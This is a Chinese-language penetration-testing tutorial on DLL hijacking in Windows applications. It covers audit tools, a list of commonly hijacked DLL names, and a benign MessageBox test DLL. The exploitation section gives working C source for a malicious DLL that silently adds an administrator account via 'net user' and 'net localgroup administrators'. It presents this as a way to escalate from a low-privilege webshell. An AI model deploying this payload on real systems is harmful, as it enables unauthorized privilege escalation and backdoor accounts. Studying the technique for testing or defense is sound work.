关于dll hijacking,百度百科已经有比较详实的内容可以参考 点击查看 ,这里不再赘述。
虽然微软官方和应用程序开发商们已经意识到这个问题的严重性,也做了部分积极措施,但是到目前为止,依然有大量应用存在该漏洞 点击查看 ,黑客们在拿到系统低权限时,也往往会利用各种应用的dll劫持问题进行提权,比如某些升级频繁的应用。
一、dll hijacking的检测
其实metasploit曾经发布过一款名为DllHijackAuditKitv2的检测工具,主要是在系统管理员权限下,调用Sysinternals进程监视器,并检测系统是否存在脆弱的应用程序,但是这个检测过程相对耗时,也只能在本地检测,而且,在我们做渗透时,目标的环境与我们的环境往往相差甚远,所以我们需要调查好目标装有哪些应用,并且针对性的去测试那些使用频率较高的应用是否存在dll劫持,当然,这个测试是需要在本地安装相同版本应用,测试好之后再在目标上使用。
另外securityxploded发布有一款使用简单、效率相对较高的审计工具:DllHijackAuditor v3.5
如图,win2k3下测试古老的傲游浏览器2,发现存在ieframe.dll劫持:
在任意位置,使用傲游浏览器2打开html或htm文件,都会触发傲游浏览器2调用html同目录下的ieframe.dll文件:
当然,工具测试并不全面,更高的准确率需要我们手工去测试,那么,我们怎样手工比较地高效测试这些应用是否存在dll劫持呢?
这里推荐一种方法:模糊测试常见调用的dll
应用程序常调用的dll包含但不限于以下,也有一些应用自身特定的dll存在被劫持的可能:
lpk.dll usp10.dll dwmapi.dll version.dll apphelp.dll ws2help.dll ws2_32.dll d3d8.dll
将测试用dll命名为以上常调用dll文件名,并放置在应用程序目录,启动应用程序,若存在某些dll的劫持,应用程序就会调用相应的测试dll,从而快速判断哪些dll是可以劫持的。
dll劫持测试代码如下,可以修改弹窗信息为lpk、ups10等,使用Visual C++ 6.0 等编译成对应文件名dll,这样在测试时,根据弹窗信息即可判断加载了哪些dll:
/* #[+] Exploit Title: DLL Hijacking #[+] Type: Local Exploits #[+] Tested on: Win2k3 sp2 ======================= */ #include <windows.h> BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
以知名的注入工具pangolin为例,测试dwmapi.dll的劫持:
二、dll hijacking 的利用
在拥有低权限webshell想进行提权时,如果系统补丁修补较全,那么可以尝试利用dll劫持进行提权;
在检测出存在漏洞的应用程序目录中放置恶意dll,当应用运行时就可以通过劫持该高权限应用去调用低权限恶意dll,从而让低权限用户获取高权限。下面是通过执行系统命令添加系统管理员的示例dll代码,可以自行扩展其它功能:
/* #[+] Exploit Title: DLL Hijacking #[+] Type: Local Exploits #[+] Tested on: Win2k3 sp2 ======================= */ #include "windows.h" int exp() { WinExec("net user test test /add",0); WinExec("net localgroup administrators test /add",0); //两条命令测试使用&&无法一起执行 //system("net user test test /add && net localgroup administrators test /add"); //有弹窗 //ShellExecute(0, "open", "cmd", "/C net user test test /add && net localgroup administrators test /add", 0, SW_HIDE); exit(0); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { exp(); return 0; }
劫持成功即可加上test管理员账户,使用pangolin测试成功。